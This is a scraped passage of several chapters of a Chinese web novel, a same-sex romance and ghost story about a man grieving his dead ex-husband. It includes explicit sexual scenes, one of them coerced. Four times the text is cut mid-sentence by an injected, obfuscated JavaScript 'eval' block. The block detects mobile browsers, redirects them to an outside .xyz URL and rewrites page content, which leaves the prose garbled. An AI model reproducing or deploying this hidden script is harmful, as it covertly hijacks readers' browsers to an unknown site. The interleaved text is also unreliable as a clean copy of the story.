赵郢衬衫纽扣蹦掉三颗,嘴唇被吮得红肿,字句在唇舌莽撞的交锋中零落,半天说不出一个完整的句子。 换气的空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985770|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隙,他像是溺亡在海水里的倒霉蛋,浮上海面拼尽全力地呼吸。 “我还没有洗澡……” “你身上很干净,不洗也可以。”韩谦本来想说赵郢很香,想了想还是换了种含蓄的说法。 他在国外呆了很长时间,思维里带着西方人的直白,喜欢就是喜欢,不喜欢就是不喜欢。 就好比他意外接住差点摔倒的赵郢,看到他颊边那颗又浅又小的梨涡时,不可能违心说自己毫无感觉一样。 赵郢被他蹭了一脸的水汽,无框眼镜起了雾,歪歪斜斜地滑到鼻尖。 韩谦的发质很硬,赵郢的眼睛在聚焦与涣散之间来回变换,他十指插进韩谦发间,揪着褪成黑棕色的发根,后腰往下是一连串暧昧的揉痕。 时隔多年,他依旧记得这个晚上韩谦毫无章法的吻。 也记得他失声地扯着韩谦的头发,那个人用犬齿报复性剐蹭他的锁骨,闷哼着说的那句话。 他说,这是他的第一次,他不会停。 葬礼进行到一半,南水市上空飘起小雨。 韩谦的母亲远在美国,亲生父亲,也就是云升集团老总乔彬程一个月前突发中风,至今未能恢复,葬礼都是坐在轮椅上经专人推过来的。 四方开阔的墓地前,黑色的雨伞拥挤着形成一片穹顶,周宁抬着韩谦的黑白遗照,高声念了一段悼词。 “最后,按照韩先生遗愿,现在由我来播放他生前想说的一些话。” 周宁早已安排好了音响设备,他做了个开始的手势,韩谦的声音顿时冲破雨幕: “爸,非常抱歉地通知你,我喜欢男人,齐家要绝后了。” “不好意思,突然想起来我姓韩——韩家要绝后了。” 四周死一般的寂静。 赵郢:“……” 没等众人调理好,下一句更是令人难以言喻: “我先走一步,您如果实在想我,欢迎下来和我作伴。” 轮椅上的乔彬程被这个大孝子感动得面容狰狞,口齿不清地“咿咿呀呀”,不知道在说什么。 他被人推走后,音响没有停:“参加葬礼的宾客里应该有我的爱人,不管他有没有来,接下去的话都是对他一个人说的。” 开头的人名刻意做了模糊化处理,用特殊手段盖了过去:“**你要是敢那么快移情别恋……”韩谦顿了顿,声音伴随着电流声,莫名有些阴冷,“我做鬼都不会放过你。” “……” 这毫无疑问是在场大多数人参加过的最别出心裁的葬礼。 白舒沅和赵郢并肩而立,她被韩谦这几句话惊掉下巴,瞳孔震颤地望向上司:“赵哥,韩谦竟然结婚了?” 赵郢表情怪异地“嗯”一声。 “但是听起来……”白舒沅咽了咽口水,“好像又离婚了。” 她有些语无伦次:“哈哈,但韩谦对他老婆还挺深情的。” 赵郢:“呵呵。” 5. 第 5 章 赵郢在葬礼结束以后,找周宁要走了那张被做成黑白遗照的照片。 十五六岁的韩谦。 阴沉、凶狠,好像全世界谁都不服,给他一个毁灭世界的按钮,也会毫不犹豫地按下去。 小时候也是个傻逼,他心想。 相框被赵郢摆在客厅一个显眼的地方,他像上了发条的机器,在原地打着转,调整着相框的角度,摸摸边上那盆波士顿蕨的叶子,仿佛很忙的样子。 韩谦的狗又开始无缘无故对着空气大叫,赵郢没有管,而是打开手机,微信一滑到底,点进他和韩谦的对话框。 他们上一次聊天是在去年五月,韩谦用一堆语音条轰炸他,赵郢一个也没听,之后韩谦也没再给他发过消息。 赵郢按了按倒数第二条语音的播放符号,韩谦的声音一出来,公主条件反射地回头看了他一眼。 “赵郢你他妈给我等着,到时候你八抬大轿跪下来求我我都不会答应和你复婚。” 韩谦不在国内高考,高中一毕业就被美国的大学录取,语文水平比赵郢老家的侄子还不如,成语基本都是乱用,这次却没用错。 他又点开最后一条。 “你那一巴掌扇得我好痛,赵郢,如果你晚上八点之前挽留我并向我道歉,我还是会大发慈悲地原谅你。” 赵郢:“……” 说到这个他就来气。 韩谦收拾东西搬走的那天,他下午约了客户,上午刚好有空,结果到了中午还没收完。 他们从客厅吵到卧室,两个人都歇斯底里地喘着气,赵郢想抽根烟冷静一下,烟没点上,却被这个疯子扛起来扔到床上,手腕用领带捆了几道摁在头顶。 赵郢抬腿蹬他,挣扎着说这是强煎[1],但他跟韩谦力量悬殊太大,外加常年久坐,健身房办了年卡也不去,压根使不上劲,踢人一脚跟挠痒痒差不多,拼尽全力仍然没能挣脱。 “那你报警吧。”韩谦在他下巴上咬了一口,眼神阴鸷地看着他,“把我抓起来,最好这辈子别让我出来。要么你弄死我,要么我干/死你,选一个。” 赵郢脚背紧绷着,棉质家居服被撩到胸口,肤色苍白的小腹受到刺激,起了一片鸡皮疙瘩。 他狼狈地笑了一声。 “韩谦,我去你妈的。” 后面的情况可想而知。赵郢下午三点趴在床尾低声下气地给客户发消息道歉,换了另一个时间见面,好在客户脾气好,对他印象也不错,没为此计较。 所以只扇韩谦一巴掌都算他大人有大量。 赵郢将手机熄屏,在相框前安静地站了许久。二十四岁的韩谦很年轻,但他没见过这么年轻的韩谦,感到尤其新奇。 一个人一生中要经历数不胜数的告别,家人的,朋友的,伴侣的。三十年里,赵郢受命运眷顾,没有经历过任何一场死亡,比起死,他反而目睹过很多次新生。 这场由韩谦带来的史无前例的体验让他痛苦万分,在墓地上听完韩谦的遗言,他甚至还产生过一丝不切实际的幻想,尽管这个想法转瞬即逝——既然说了做鬼也不会放过他,那就这样纠缠他一辈子吧。 下午,赵郢回到云升。 没办法,生活还是得继续,班还得正常上。 罗廉开谈下那笔大单后,上级点名要赵郢交接所有前期做准备工作时整理的资料,他当然不可能蠢到把自己的心血交出去,只是花了半天做了个简易版的,不出错能糊弄就行。 罗廉开的办公室没人,赵郢等了五分钟,没等到,回去的路上碰到白舒沅从茶水间出来。 “赵哥。”她反身关好门,得意洋洋地挑了挑眉,“你猜我听说了个什么好消息?” 赵郢忙着给罗廉开发微信,问他上班的点人在哪,却不想一发完就得知答案。 “罗廉开那个傻叉进医院了,真是喜大普奔,罪有应得!” 茶水间是公司的小道消息批发地,白舒沅人缘好,人也机灵,平常只做个捧哏的听人聊八卦,坚决不从嘴里漏出一个字,在当中混得如鱼得水。 “进医院?”赵郢有点意外,“怎么回事?” 白舒沅总结道:“人力资源部老张说,罗廉开下午去医院切痔疮,一出医院,好巧不巧被一辆违规电瓶车撞了。据说诊断出轻微脑震荡,没十天半个月好不了,只能申请线上办公。” 赵郢一时间说不出话,心想还真被他说中了,血光之灾。 他回复了几个工作邮件,说:“今天下班之前开个会,你通知其他人准备一下。还有,罗廉开在哪家医院?下班后麻烦你跑一趟……算了,我亲自去吧。” “就让我去呗。”白舒沅笑道,“送什么文件啊赵哥?” “不用。” 赵郢挺想看看罗廉开伤成什么样,回绝得很干脆,“行了,忙你的吧,在我这摸鱼够久了。” 白舒沅被他揭穿,脚底抹油似的溜了。 下午五点,赵郢掐表下班,一辆计程车打到南水市第三人民医院,直奔住院部。 找护士问清罗廉开的病房,还没进去,他便听到罗廉开惊恐的声音:“老张啊,真不是我骗你,我今天真见鬼了!” 另一个人安慰地拍了拍他的手背,不怎么相信地说:“别瞎想,这大白天的,一定是你看错了。” “我向你发誓,百分之百没看错!” 罗廉开左手扎着留置针,说着越来越激动,吊瓶下的输液管直晃荡。 他压低嗓音,神神秘秘地说,“你知道我在马路上撞见谁了吗?” 老张也小声接道:“谁啊?” “我当时一晃眼,见着韩谦了。” 赵郢怀中的文件掉到地上,啪嗒一声响。 两人齐刷刷回头朝他这边看过来,老张体面地打了声招呼,罗廉开脸色一会儿青一会儿白,五颜六色的:“干什么,你特地看我笑话?” “那倒没有。”赵郢说。 他不过是想偷听他们讲话。 赵郢把散落一地的文件一张张捡起来,装回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985771|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文件夹中,和果篮一并放到病床旁的小桌子上。 “刘总让我把这个给你。东西送到,我走了。”他食指抵了抵镜架,若无其事道,“祝你早日康复。” 走之前,赵郢好心带上门,但病房的隔音效果不好,罗廉开的话他听得一清二楚:“我跟你说,赵郢这张破嘴也像开了光,晦气……” 回到家,赵郢牵着公主在小区转了两小时,上楼后没歇多久,登陆企业微信处理了一些工作上的事。 罗廉开那番话在他心头挥之不去,他盘腿坐在玻璃茶几前,端详着那盒凭空出现的健胃消食片,眉心拧成一道“川”字。 韩谦和罗廉开总共也没见过几次面,到底是如他所说真的白日见鬼,还是罗廉开年纪轻轻得了老花,看错了? 如果可以,此刻他还挺想到墓园问问当事人的。 宁愿恐吓罗廉开都不愿意在他面前“显灵”,这是什么“死生不复相见”的把戏吗? 赵郢脑子里一团乱麻,胡思乱想的时候,公主屁颠颠地靠在他身边,一只爪子搭在赵郢膝盖上,一肚子坏水的表情。 “你认识韩谦的时间比我长,告诉我他怎么想的?” 公主“汪”了一声,似懂非懂。 赵郢并不指望它能像童话故事里那样开口说人话,公主只是一条什么都不懂的小狗,连自己的主人死了都不知道。 在这点上,赵郢是有些羡慕它的。 和动物不一样,人类永远狡猾、追名逐利,总是不那么坦诚。 他从小到大说过很多次谎,比如弟弟刚出生的时候,赵父赵母问他喜不喜欢弟弟,他虚伪地说了“喜欢”;比如大学毕业后,他谈的第一任男友廖彦川瞒着他相亲,分手后问他还能不能做朋友,他微笑着点了点头。 又比如一年前,韩谦目眦欲裂地问他是不是真心想离婚。 他摘下戒指放到茶几一角,回答说,是的。 南水市深夜下起大雨,电闪雷鸣,天际被断断续续的闪电照得恍如白昼。 赵郢从梦里惊醒,把手机拿过来一看,才凌晨两点。同样的场景,韩谦去世那天他也经历了一次,一模一样的惊醒,心脏跳如擂鼓,一抽抽地疼。 他赤脚下床给自己倒了杯水,走到客厅,遗照里那双灰蓝色的眼睛隔着一层玻璃与他四目相对。 换到国外恐怖片里,“韩谦”会在他转头的那一秒露出一抹诡异的笑,可赵郢捧着水杯转了几次头,中途还上了个厕所,也没见照片有什么变化。 十分不给面子了。 他拿出一盒抽纸,平放在相框右边,叫醒睡着的公主让它陪自己见证这个时刻,继续尝试道:“韩谦,纸动了就说明你在。” 赵郢默念十个数,停下来看一眼抽纸,然后再默念十个数,如此反复五次,抽纸稳如泰山。 “……” “罗廉开绝对有老花。”赵郢笃定道。 困意回笼,他捂嘴打了个哈欠,一头扎进房间,尴尬地自言自语:“睡了。” 6. 第 6 章 赵郢有个坏毛病,无所谓什么原因,夜里只要惊醒一次,第二天精气神一定好不到哪去。 他进云升的头两年工作压力大,整晚整晚地失眠,养成了吃安眠药入睡的恶习,韩谦搬过来以后倒是有所好转,可好不容易能自然入睡了,又因为两人离婚一朝回到解放前。 赵郢提着纸质咖啡袋,顶着眼下两撇淡淡的青黑走到工位。奈何戴上眼镜都盖不住没睡好的憔悴,一出办公室,几乎人人遇见他都要问上一句昨晚是不是没休息好。 午休的时候,赵郢揣了一颗金灿灿的沃柑,打算在楼道的通风口抽根烟提神。烟还没点着,人力资源部老张从拐角走出来,黑眼圈重得像大熊猫。 “赵经理,借下打火机。” 赵郢跟他不熟,也没多问,把手头的东西递了过去。 老张“哎”了一声,满脸愁容地抿着烟嘴,悠悠吐出一口烟团。 “再过几天,可能要换个称呼叫赵经理了。”他意味深长地看着赵郢,有点说一半藏一半卖关子的意思,“提前恭贺你荣升啊!” 赵郢没闲心泡咖啡,也不常去茶水间,听到这话一头雾水:“我荣升?荣升什么?” 他摘了眼镜,一双狐狸眼狡黠中带着几分懵懂,放到志怪画本里仿佛能把十个书生骗得裤衩子都不剩。 “哦,我的腾讯视频账号的确升成年费会员了。”赵郢抿着唇笑。 老张见那套对他不管用,索性打开天窗说亮话:“罗经理昨晚病情又加重了,得在医院多住一个月。” 赵郢:? “又?” 血光之灾还能无限制叠加吗。 赵郢本就不多的良心隐隐作痛,他把烟掐了,烟头用纸巾包着攥在手心,“去的时候看他精神状态还不错,怎么一下变这么严重?” “我凌晨两点接到他电话,他非说自己见鬼了,要我帮忙报警。” “他怎么不自己打110?” “打了,没用。”老张揉着眉心,无奈道,“警察建议他联系本院的精神科。” 赵郢:“……” “他是这么跟我说的。凌晨两点左右,他尿急想起夜,结果一进厕所就在镜子里看到他身后有个模模糊糊的黑影。罗经理被吓了个正着,脚底一滑一屁股坐到地上,把尾椎伤了。” 老张绘声绘色地把事情从头到尾还原了一遍,惆怅地指指黑眼圈:“罗廉开拉着我聊了一整夜,硬要说那鬼影是韩总变的,你说韩总跟他什么仇什么怨?他两八竿子打不着,韩总要找也是找那个他爱得要死要活的老婆,他罗廉开算老几?” “哈哈。”赵郢拿出那颗用来祛味的沃柑,似笑非笑地剥着皮,“你说得对。” 他掰下一半分给老张,“吃吗?” “吃。” 老张往嘴里扔了一瓣,注意力集中在赵郢剥剩的沃柑皮上,“赵经理喜欢吃柑橘类的水果?” “没有特别喜欢。” 赵郢看似随意地说:“以前有个人很讨厌烟味,怕他发现我抽烟,每次我都剥一个水果去去味道。现在养成习惯了,改不了。” 老张捕捉到八卦的气息,眼前一亮。 赵郢在公司可谓是极其罕见的单身汉,入职整整九年,没见他谈恋爱也没听他提过相亲之类的事。同事们私底下给他起了个“铁树”的昵称,年年都有人以“赵经理今年谈不谈对象”打赌。 年年赌,年年输。 “女朋友?”老张问他。 赵郢没说是也没说不是。 韩谦是个狗鼻子,嗅觉高度灵敏,隔着三米远都能闻到他身上的烟味。没分开的那几年赵郢试过许多种办法,无一成功。 后来演变到一下班就被韩谦抓着手嗅闻,他的鼻头又挺又尖,带着热腾腾的鼻息,热意在指间穿梭,检查着检查着就变了味。 有次赵郢上半身探到床外,脚尖踩着韩谦宽厚的脊背,暗示性十足地轻轻碾着。他玩笑着说这个时候适合来一根事后烟,话还没说完,下一秒立马被韩谦捉住脚踝。 “赵郢,我不喜欢烟味,而且烟抽多了阳/痿。” 赵郢很像被点名批评后仍吊儿郎当毫不在意的差生,伸手摸了摸韩谦汗湿的发,“没关系,我又不用那儿。还是说你想换个位子?” 韩谦用英文低声骂了句脏,情到浓时,他从后面环抱着赵郢的腰,用一种赵郢也说不上来是什么的语气吻着他的耳垂,小声说,我只想你健健康康的,永远不要离开我。 “我宁可你死在我之后。”韩谦问道,“赵郢,到那时候你会不会难过?” 这种时动时停的做法弄得赵郢很难受,他哄着应了句会,韩谦又反悔了,说不想他那么难过。 赵郢忍得辛苦,咬着牙骂他屁事真多。 但是从那以后,赵郢真的少抽许多。 这段时间他经常频繁地陷入到有关韩谦的记忆里,仿佛在刻舟求剑,明明清楚地记得划痕刻在哪里,却永远找不回遗失的东西。 都是徒劳,都是无用功。 赵郢上一秒这么说,下一秒就刷到某个00后同事的朋友圈,是一张在寺庙拍的风景照。 这年头信这个的小年轻一抓一大把,拜财神,拜佛祖,义乌十几块一条的开光手串丁零当啷能戴一满手。 但有个信仰也不是多大坏事,慰藉罢了,赵郢心想。 一刷新,那条朋友圈多了条评论,罗廉开发的,问这家寺庙地址在哪。 那位同事回复得挺详细,赵郢把地址保存到备忘录,提前一小时下班开着车过去了。 寺庙并不大,名气和人流量也不是南水市最好的,门票十块钱一张,除了烧香还可以撸庙里师傅喂养的流浪猫。 赵郢摸了一路,朝佛殿点香拜三拜的时候还有一只肥橘围着他的裤腿蹭来蹭去。 他沿着台阶爬上去,登上万佛宝殿,看到佛前一左一右摆着两根成年男性手臂那么粗的蜡烛,已经烧了三分之二,被塑料材质的柱形保护罩包围。 赵郢拉着一个路过的师傅问这种蜡烛怎么供,和尚打扮的僧人摇摇头,说:“这个我也不清楚。” “施主稍等,我把住持请过来。” 等待的间隙,赵郢跪在蒲团上端端正正朝佛像磕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985772|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了三个头。他的愿望很简单——希望韩谦下辈子投个好胎,有个正常的爹妈,事业顺利,无病无灾。 一抬头,赵郢余光无意间瞥到蜡烛底座的一行小字: 信众韩谦,供于2023年5月8日。 这是他和韩谦正式离婚的那一天。 住持匆匆赶到,看赵郢盯着烛火发呆,和颜悦色地解释道:“这是佛殿专供的蜡烛,点燃之后,可为爱人、家人、朋友祈福请愿。” “请一对多少钱?” “施主,说‘缘’不说钱。” 赵郢改口问:“多少缘?” 住持叫人取来pos机,笑盈盈地说:“一共一百万缘[1]。” 赵郢出示支付宝付款码,pos机“滴”了一声后,弹出支付成功的界面。 “我可以问个问题吗?”他说道。 住持:“施主请讲。” 赵郢跨过佛殿的门槛,把位置让给后面来的香客,他站到一棵银杏的树荫下,“供那两支蜡烛的人,说没说过是为谁祈福?” 住持面露难色:“我们不能随便透露其他施主的隐私……” “我认识他。”赵郢思考片刻,补充道,“我姓赵,赵郢。” 半晌,住持叹了口气。 “赵先生,我想你心里应该有答案了。” 他原本就是带着答案去问的,赵郢心想。 韩谦的情感向来浓烈分明,他从不会小气吝啬地爱一个人,尽管这种澎湃而汹涌的爱时常让赵郢手足无措。 在他的成长环境里,爱是不均等的,是有偏好的,就像一盆巨大的富贵竹,他需要源源不断地输入水源,赵父赵母对他的爱才不会枯竭。 “施主准备为谁祈福?”住持问他。 赵郢简短地回答:“韩谦。” “他的生命不该终结在二十四岁。”住持有话要说,他摆了摆手,“我知道每个人都有自己的命运,有些人夭折在婴儿时期,有些人死在新婚不久,有些人还没来得及等儿女长大成人。死的比韩谦早、比韩谦冤的比比皆是,但我私心太重,说希望他投个好胎都是假的,我压根不想就这么眼睁睁看着他走进来世。” 他仿佛在心上扎了个口子,将这些天郁结的情绪一股脑排了出来,又仿佛没排干净,导致精神癫狂起来。 赵郢冷笑一声,说:“他想让我一辈子于心不安,一辈子记住他,未免太歹毒。我不好过,难道会让他好过吗?” “寺庙还有几个佛殿?剩下的蜡烛我都要了。” 反正他有的是韩谦的钱。 老住持从赵郢支付宝扫走三百万缘,颤颤巍巍地拄着僧人递来的拐杖。 虽然他已经接受过新时代的洗礼,知晓如今除了异性恋还有其他性取向,却还是被赵郢惊得大开眼界。 赵郢在名册上留下姓名和手机号,正要离开,住持追着叫住他。 “缘会则生,缘离则灭[2]。人死不能复生,不过赵先生心诚……” 住持擦了把汗:“这个这个……” 赵郢心领神会地接了后半句:“心诚则灵。” 7. 第 7 章 大概是赵郢提前下班的报应,一回去,他饭还没吃上就被白舒沅夺命连环call,让他上线处理一个甲方的邮件。 他把充电线插在笔记本电脑的接口上,端了碗十分钟搞定的拉面,一边喝汤一边单手敲键盘。 在职场做乙方是最头疼的事,睁眼改策划案,闭眼改策划案,改来改去十几版,最终拍板定案的还是先开始的版本。 赵郢编辑到一半,扔在沙发上的手机震个不停,虽然开的静音模式,嗡嗡震动的声响依旧很难忽略。 百忙之中他歪头看了一眼,是白舒沅的消息。 白舒沅:[老大,前线最新战报!罗廉开的升职调动泡汤啦!] 赵郢回了一句“在忙”,半小时后,回复邮件发送成功,他拿起手机一看,白舒沅给他转发了一段群聊记录。 群内有八个人,分别是白舒沅和几个其他部门的同事。下午六点的时候,有人在群里冒泡,说华中区总监这个香饽饽可能要花落别家了。 这句话发了没多久,余下七个人全被钓了出来。 AAA人力资源老张:我猜应该是赵经理吧[偷笑]。哎,也说不准,万一天降奇兵呢?云升又不止南水这一家分公司。这事儿啊,我看得问小白@白天的我活得像具尸体。 AAA人力资源老张:小白?小白? AAA人力资源老张:…… 白天的我活得像具尸体:男朋友出轨,正在全力抓奸中,对不住了老张,过会儿再回! 群聊记录终止在白舒沅这一条。 赵郢和张简荣也算打过几次交道了,这种级别的老油子,白舒沅对付起来倒是挺得心应手,青出于蓝而胜于蓝。 他回到和白舒沅的聊天框,开玩笑地问她是不是真的在抓奸。 白舒沅:[忙着搞事业呢,哪来的男朋友!编出来唬张简荣的啦。] 白舒沅:[话说回来,赵哥,我感觉你真的有可能诶!] 赵郢正要打字,视线却扫到角落的置物柜,公主不知什么时候跳了上去,一脚踢倒了韩谦的遗照,专心致志地啃着波士顿蕨的叶片。 他一只手托着这只采草大盗的腹部,一只手按住语音键:“我从来不信这种捕风捉影的传闻,张简荣有句话说对了,云升不止南水一家分公司,谁知道最终人选会是谁?一切等公司安排出了再说。” 赵郢将甲方的要求和新一版策划案发给白舒沅,“通知团队其他人,今晚把各自负责的内容修改好,甲方明早就要。” 白舒沅连发三个“我命好苦”的表情包,老老实实回复“收到”。 赵郢把踢倒的遗照扶正,端起碗筷走到厨房,拧开洗碗池的水龙头。水流哗啦啦地流淌蓄积着,很快没过碗顶,水面漂浮着一层散开的油星。 洗洁精只剩一泵的量,他将瓶子反过来,用力敲了敲瓶底,勉强又挤出一泵半。 这时赵郢的手机铃声响了,他以为是白舒沅打来的,也没看来电人是谁,接通道:“是策划案有什么问题,还是团队里有谁今晚抽不开时间,做不了?” “剥削这么狠啊,下班了还不放人休息?” 电话里传来一道低沉的女音,“哥,是我,赵莱。” 赵郢闻言一愣。 他跟赵莱并不常联系,也许有她初中肄业被赵父赵母逼去打工的缘故,整个家里赵莱只和他这个大哥最亲。 “怎么不想想你哥也是被剥削的那个?”赵郢半坐半倚着池台,肩膀微微低垂,是很放松的姿态,“晚饭吃了吗?最近好不好?” “没吃,有好有坏吧。”赵莱说。 她是典型的报喜不报忧的性格,有什么事先闷在心里,等到旁人问起,事情已经被她解决完了。 赵郢难得听她主动抱怨,用围裙边蹭了蹭手上的水,“和哥说说。” “前段时间接了笔大单子,赚了很多。”赵莱这两年在芸城做外贸相关,起初勉强只够日常生活,换渠道后慢慢有了起色,客户源稳定下来,收益也水涨船高。 赵莱停顿一秒,这是要讲到“不好”了:“昨天妈给我打电话,催我回家相亲,不回去她就和爸一起喝农药自杀。还有赵宝瑞今年六月高考,他们想让我负责赵宝瑞上大学的学费跟生活费。” “我上个月才转了十万到爸妈卡里。”赵郢手指不自觉地掐着围裙的花边,那块布料被他揉得皱皱巴巴。 他深吸一口气,故作轻松地说:“而且现在才四月,赵宝瑞考不考得上大学还两说。” “你人还在芸城?” “不在。”赵莱嗤笑道,“妈查到我租房地址了,目前我搬到隔壁市暂住一阵子,风头过了再说。” 赵郢已经习惯了,可能有些父母天生不爱自己的孩子,或者有偏向性地仅仅爱其中一个。 如果像赵莱那样只有恨也还好,可以不联系,可以躲到找不到的地方,但偏偏赵郢心里生长着除了恨以外的感情。 “赵莱,你别回去。明天我跟他们说,以后我负责赵宝瑞读大学的钱。” 话音未落,电话另一端的人刻薄道:“你是不是觉得自己很有钱啊赵郢?每年你转爸妈的钱,不说七八十万,四五十万总有了吧?这他妈可是你半年的薪水!你有没有想过他们这么多钱哪去了?” “你让我别回去,你怎么不为自己想想……真打算被他们吸一辈子血吗?” 沉默一阵,赵郢笑道:“对啊。” “你——”尾音戛然而止,赵莱轻声道,“算了。” 赵郢在手机里听到风呼啸的声音,仿佛赵莱在江边、湖边之类的地方。 “哥,他两不会真的喝农药吧?”赵莱话里夹杂着几分纠结。 “不会的。” 赵郢语气肯定地说,“我喝农药的可能性都比爸妈大,放心。还是老规矩,爸妈问起来我就说你在山里采风,信号不好。” 赵莱发出一声短促的单音,两人同时挂断电话。 洗完碗筷,赵郢把它们晾在沥水架上,本想早点洗漱休息,但他今天好似格外不顺,晚上十一点收到甲方新发的一封邮件。 邮件里提到了一些新的修改意见,罗列下来有十几条,提交日期不变,仍然是明天早上。 这次赵郢亲自将新的修改方向发到他们团队的微信群里,果不其然,一片怨声载道。 赵郢:[辛苦了,明天请大家吃下午茶。] 屏幕又是一片“赵哥我爱你”。 在客厅陪公主玩了会儿扔球捡球的益智小游戏,赵郢凌晨十二点正式开工。 熬到凌晨四点,他困得眼皮子像涂了加强版502,强撑着把活干完后直接倒在沙发上不省人事,还做了个稀里糊涂的梦。 梦境里黑得伸手不见五指,分不清是哪个方向的远处隐隐有光,忽明忽暗地闪烁。 走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985773|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近时,赵郢听到水流的声音。 那是一条幽深的河,一座简陋的木头桥连接河的两岸,桥口有块圆墩墩大石头,石头上放着一盏煤油灯,赵郢所看到的光亮正源于这盏灯。 他怕黑,因此本能地提起煤油灯,想看一看周围的环境。还未有动作,他的肩膀突然被人戳了两下。 赵郢一转身,一双灰蓝色的眼睛和一口白牙映入眼帘。 “赵……”那人将将起了个头,刹那间挨了闭着眼不敢看的赵郢倾尽全力的一拳。 赵郢踉跄着跌坐在石块上,他在微光中缓缓睁眼,然后猝不及防地看到一张再熟悉不过的脸。 韩谦。 对方弯腰捂着肚子,小声说了句“幸好鬼不能再死一次”。他抬眸望向赵郢,很无措地张了张嘴,“……怎么哭了?” 因为这个梦真实得过分,赵郢在心里说。 他摸了摸脸颊,茫然地看着湿润的指尖,连眼泪的触感都很真实。 他把煤油灯举起来,放到能照亮他和韩谦的位置。 这回看得很清晰。 没有经历过那场事故,栩栩如生的二十四岁的韩谦。 那人作势要帮他擦脸,被赵郢拍开手,暴跳如雷地说:“又哭,又不让人擦眼泪,公主都比你好伺候!” “健胃消食片不吃,抽烟,忙工作忙到凌晨四点。你以为我留那么多遗产是为什么?给你当欢乐豆?” “还是你想到下面陪我?” 赵郢鼻腔发出一声轻哼,说:“就算我下去了也是到地府,归阎王爷管,你们洋鬼子不应该下地狱吗?” 韩谦低低骂了声“操”。 “赵郢,你就不能盼我点好?非得诅咒我下地狱吗?” 赵郢缓过劲了,上下打量着他:“你真是韩谦?” “我他妈还能是假的?”韩谦半蹲下来,一只手撑在赵郢身侧的石头上,一只手抓住他的手腕,从额头摸到鼻子,再摸到嘴唇、下巴。 他冷着脸,喉结上下滚动:“如假包换的真。” 赵郢手掌停留在他的下颚。 手底触碰到的皮肤很凉,冰块一样冷,以前的韩谦像个活体暖炉,热热的,抱着很舒服。 他顺着捏了捏韩谦的耳尖,其次是鬓角的碎发。 “摸狗呢?”韩谦不耐烦地瞪着他,不过没有反抗。 赵郢感叹道:“好仿真啊。” “什么‘好仿真’?说了多少遍我就是真的!” “哦,这样。” 赵郢把脸凑上前,蹲在他腿间却只比赵郢矮一点点的年轻男人熟练地闭上眼,误以为会收到赵郢愧疚而温柔的吻。 然而赵郢皮笑肉不笑地翘着嘴角,对准韩谦的左脸狠狠扇了一巴掌。 “你打我干什么?”韩谦瞪大眼睛,很不可置信的样子。 “在南水好好当你的富二代会死吗?为什么去那么远的地方?为什么一定要走那条会出事的山路?千分之一万分之一的概率,韩谦,你在地府买注彩票吧,你他妈运气好到家了傻逼!” 赵郢一口气骂完,干掉的眼泪重新丰盈起来。 他喉咙里好像塞了团棉花,阻塞着空气,又格外地吸水,说不了别的话,只能如哮喘复发般不停地哽咽。 “别哭了。”韩谦凝视着他湿红的眼尾,脑袋往左偏了一点。 “右边脸还没打,要不你再扇一下?” 8. 第 8 章 “不要。” 赵郢把眼泪抹在手背上,淡淡道:“我嫌手疼。” “怎么办。”韩谦把他双手捧在怀里,贴着他全年无休锻炼出来的饱满胸肌,“那你亲我一口?” “别逼我扇你。”赵郢冷眼瞥他。 韩谦:“哦。” 一说亲他手又不疼了。 赵郢从哭懵了的状态里抽离出来,仿佛意识到了什么,眼珠一转,目光落到韩谦身上,审犯人的口吻:“那盒健胃消食片是你放的?” “不是。”韩谦反应很快地反驳。 他眯着眼,盯着赵郢紧抿的唇缝,舔了舔嘴唇:“我托人放的。” “托人?” 韩谦说谎不眨眼:“对,我在下面有关系。” 赵郢:“……” 完全不信。 “赵郢。”韩谦叫他的名字,“你知道我为什么答应我爸,接下辽西的公益项目吗?” “你最好找到一条足够有说服力的理由。”赵郢说。 韩谦把他的手掌展开,一根一根地捏着柔软的指腹。赵郢的指甲修剪得圆短平滑,捏起来手感类似小猫的肉垫,他这样想着,一点也没有“是不是他对赵郢的滤镜开太大”的觉悟。 